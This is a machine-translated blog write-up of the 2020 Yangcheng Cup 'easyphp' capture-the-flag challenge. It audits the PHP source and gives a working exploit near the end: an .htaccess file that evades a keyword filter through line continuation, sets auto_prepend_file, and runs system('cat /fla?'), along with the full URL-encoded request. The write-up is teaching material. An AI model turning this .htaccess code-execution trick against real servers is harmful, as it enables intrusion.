当前位置:网站首页>[Yangcheng cup 2020] easyphp
[Yangcheng cup 2020] easyphp
2022-07-02 23:02:00 【-Gardenia blue-】
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>Code audit
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
If not index.php page , Page data will be deleted if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
} If no incoming content or filename Parameters are directly die
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
Pass in parameters content To filter , Not by on html type flag upload file$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
Pass in parameters filename To filter ,filename Only lowercase letters and . constitute , otherwise die$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
Just like the initial filtering , If not index.php The data will be deleted
file_put_contents($filename, $content . "\nHello, world");
Put our incoming content content write in filename Inside
But notice that there is a splice here Hello world, It will cause our program to report errors The original idea was filename by a.php,content Pass in a sentence , Result practice :

Discover as html Output directly on the page , There's no resolution , Maybe only parsing is set in the background index.php, After all, the code is right index.php There are many reminders , So I wonder if I can index.php We analyzed our htaccess, Just change the configuration item , So the learning boss learned that he really wanted to use htaccess To get flag
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>\htaccess in \ The function of is to splice context , amount to php_value auto_prepend_file.htaccess
Because in order to bypass the filter, from file In the middle

Among them, the use of annotations # Write a sentence into , Because in htaccess Is the function of the annotator , But in php When it comes to execution , In a word, the Trojan horse will be executed
In the third line \ It is for splicing with the last part of the code Hello,world Also as a note , otherwise hello world Go to the fourth line to report an error
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

边栏推荐
- MySQL reset password, forget password, reset root password, reset MySQL password
- 数组进阶提高
- Golang interview finishing three resumes how to write
- 1px pixel compatibility of mobile terminal, 1px border
- 高并发介绍及应对
- AES高级加密协议的动机阐述
- Go语言sqlx库操作SQLite3数据库增删改查
- stop slave卡住--事务的事件没有复制完整
- Comprehensively analyze the logic of the shared purchase business model? How sharing purchase empowers Enterprises
- 数据标注典型案例,景联文科技如何助力企业搭建数据方案
猜你喜欢

严守工期,确保质量,这家AI数据标注公司做到了!

Jatpack------LiveData

数据标注典型案例,景联文科技如何助力企业搭建数据方案

Go语言sqlx库操作SQLite3数据库增删改查

P1007 single log bridge

P1007 独木桥

【板栗糖GIS】global mapper 如何通过dsm批量制作贴地等高线

【板栗糖GIS】arcmap—如何批量修改注记要素的字体,颜色,大小等

China Academy of information technology, Tsinghua University, Tencent security, cloud native security, industry university research and use strong alliance!

容器化技术在嵌入式领域的应用
随机推荐
Xiaopeng P7 had an accident and the airbag did not pop up. Is this normal?
数据分析学习记录--用EXCEL完成简单的单因素方差分析
psnr,ssim,rmse三个指标的定量分析
移动端 1px 像素兼容性问题,实现1px 边框
数据分析学习记录(二)---响应曲面法及Design-Expert的简单使用
分布式监控系统zabbix
PMP project integration management
Jerry's built-in short press and long press, no matter how long it is, it is a short press [chapter]
手写ORM(对象关系映射)增删改查
Rails 3 activerecord: sort by association count - rails 3 activerecord: order by count on Association
性能优化----严苛模式
【洛谷P1541】乌龟棋【DP】
从2022年Q1财报看携程的韧性和远景
Go four singleton modes
Learning records of data analysis (II) -- simple use of response surface method and design expert
景联文科技低价策略帮助AI企业降低模型训练成本
JS syntax ES6, ES7, es8, es9, ES10, es11, ES12 new features (Abstract)
Golang面试整理 三 简历如何书写
分享 10 个 JS 闭包面试题(图解),进来看看你能答对多少
Graphic view frame